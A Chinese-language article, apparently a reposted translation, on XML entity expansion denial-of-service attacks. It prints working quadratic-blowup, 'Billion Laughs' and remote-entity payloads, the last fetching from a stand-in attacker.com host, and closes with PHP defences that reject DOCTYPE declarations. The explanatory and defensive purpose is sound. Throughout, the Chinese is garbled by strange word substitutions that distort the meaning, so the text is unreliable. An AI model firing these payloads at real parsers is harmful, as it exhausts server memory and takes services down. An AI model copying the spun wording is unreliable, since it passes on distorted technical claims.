DOCTYPE
中建立自定义实体的定义完成,比方,这类定义可以在内存中生成一个比XML的原始许可大小大出许多的XML构造,来使这类进击得以耗尽网络服务器一般有用运转的必需内存资本。这类进击体式格局一样适用于HTML5的XML序列化功用模块,该模块当前还不能被libxml2
扩大包辨认为HTML。
XML Entity Expansion举例
要扩大XML自定义实体以到达预期的耗尽服务器资本效果有好几种体式格局。
Generic Entity Expansion
通用实体扩大进击
通用实体扩大进击一样被称为“Quadratic Blowup Attack”,运用这类体式格局时,自定义实体被定义为一个极长的字符串。当文件中大批运用这个实体时,该实体在每次挪用时都邑举行扩大,生成一个大幅超越原XML所需RAM大小的XML构造。
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
经由过程均衡自定义实体字符串大小和文档主体内运用实体数目,可以建立一个扩大至占用服务器可展望RAM空间大小的XML文档或字符串。经由过程如许反复请求来占用服务器RAM,就可以提议一次胜利的谢绝服务进击。该体式格局的缺点是,由于发生内存斲丧效果是基于简单数乘的,因而初始XML文档或字符串自身须要足够大。
递归实体扩大进击
通用实体扩大进击须要足够大的XML输入数据量,而递归实体扩大进击的均匀输入字节能发生更强力的进击效果。这类进击体式格局依赖于XML剖析器来剖析,从而完成小实体集的指数级增进。经由过程这类指数爆炸性增进体式格局,一个比通用实体扩大进击运用小得多的输入数据量现实可增进得极大。因而这类体式格局被称为“XML Bomb”或是“Billion Laughs Attack”也是非常恰切的。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML Bomb进击并不须要可以会被顺序限定的大批XML数据输入。实体集像如许指数倍增进,终究构成的扩大后文本大小是初始 &x0
实体值的2的100次方倍。这着实是一个巨大且毁灭性超强的炸弹!
长途实体扩大进击
通例和递归实体扩大进击都依赖于XML文档范例定义中定义在当地的实体,然则进击者一样可以举行外部实体定义。这很显然须要XML剖析器可以像我们之前在形貌XML外部实体注入式进击(XXE)时碰到的那样,提议长途HTTP请求。而谢绝这类请求对你的XML剖析器而言是一种基本的安保步伐。因而,防备XXE进击的步伐一样适用于此类XML实体扩大进击。
虽然说可以经由过程上述体式格局举行防备,长途实体扩大经由过程使XML剖析器发出长途HTTP请求来取得被援用实体的扩大值来举行进击。返回效果将自行定义其他XML剖析器必需另行HTTP请求的外部实体。云云一来,一些看似并没有进击性的请求会敏捷离开掌握,并给服务器的可用资本带来累赘。这类情况下,假如请求自包括一个递归扩大进击,那终究效果会越发蹩脚。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
上述进击手腕另有可以越发迂回地举行DOS进击,比方,长途请求被调整到针对当地顺序或其他任何同享其服务器资本的顺序。这类进击体式格局可以形成自我毁伤式的DOS进击,个中, XML剖析器尝试剖析外部实体可以会触发无数针对当地顺序的请求,并由此斲丧更多的服务器资本。该体式格局因而被用于放大之前讨论过的关于运用XML外部实体注入式进击(XXE)以完成DOS进击的进击影响。
针对XML实体扩大进击的防备步伐
以下通例防备步伐,是从我们针对一般XML外部实体进击(XXE)的防备步伐继续而来的。我们应该谢绝XML中自定义实体对当地文件和长途HTTP请求的剖析,并可运用以下可全局运用于一切内部运用了libxml2
函数的PHP或XML所誊写扩大的函数举行谢绝。
libxml_disable_entity_loader(true);
固然PHP以不按常理出牌著称,它并不运用通例的防备体式格局。通例的防备体式格局在文档范例声明中,运用XML的文档范例定义来完整谢绝经由过程自定义实体的定义。PHP也确切为防备功用定义了一个替换实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
大众属性,然则运用这两条定义的防备效果不甚显著。彷佛我们只能如许迁就解决题目,而没有任何更好的解决计划。
虽然说没有更好的计划,libxml2
函数也确切内置了默许谢绝递归实体剖析。要知道递归实体如果出了题目但是能让你的毛病日记”咻”地一下跟点亮圣诞树一样周全飘红的。云云看来,彷佛也没必要特地针对递归实体运用一种特别防备手腕,只管我们是得做点什么来防备万一libxml2
函数倏忽陷回剖析递归实体的毛病里去。
当下新型要挟重要来自Generic Entity Expansion 或许Quadratic Blowup Attack的粗犷进击体式格局。此类进击体式格局不须要挪用长途或当地体系,也不须要实体递归。事实上,唯一的防备步伐要么是不必XML,要么是清算过滤一切包括文档范例声明的XML。除非请求的文档范例声明吸收于平安的可信源,不然最平安的做法就是不必XML了。比方,我们是由偕行考证的HTTPS衔接接收的。不然,既然PHP没给我们供应禁用文档范例定义的选项,那我们就只能自建逻辑了。假定你能挪用 libxml_disable_entity_loader(TRUE)
,那末后续顺序运转就是平安的了,由于实体扩大这一步已被递延到被扩大影响的节点值可被再次接见的时刻了(但是勾选TURE今后永久都接见不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
固然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才一般运转,设定后XML初始加载的时外部实体援用就不会被剖析了。除非剖析器本身有一套周全的针对怎样举行实体剖析的掌握选项,不然XML剖析器不依赖libxml2
函数举行剖析时,生怕这就是唯一的防备步伐了。
假如你想运用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地点:Injection Attacks
OneAPM for PHP 可以深切到一切 PHP 运用内部完成运用机能治理 可以深切到一切 PHP 运用内部完成运用机能治理和监控,包括代码级别机能题目的可见性、机能瓶颈的疾速辨认与追溯、实在用户体验监控、服务器监控和端到端的运用机能治理。想浏览更多手艺文章,请接见 OneAPM 官方手艺博客。
以上就是XML实体扩大进击代码实例分享的细致内容,更多请关注ki4网别的相干文章!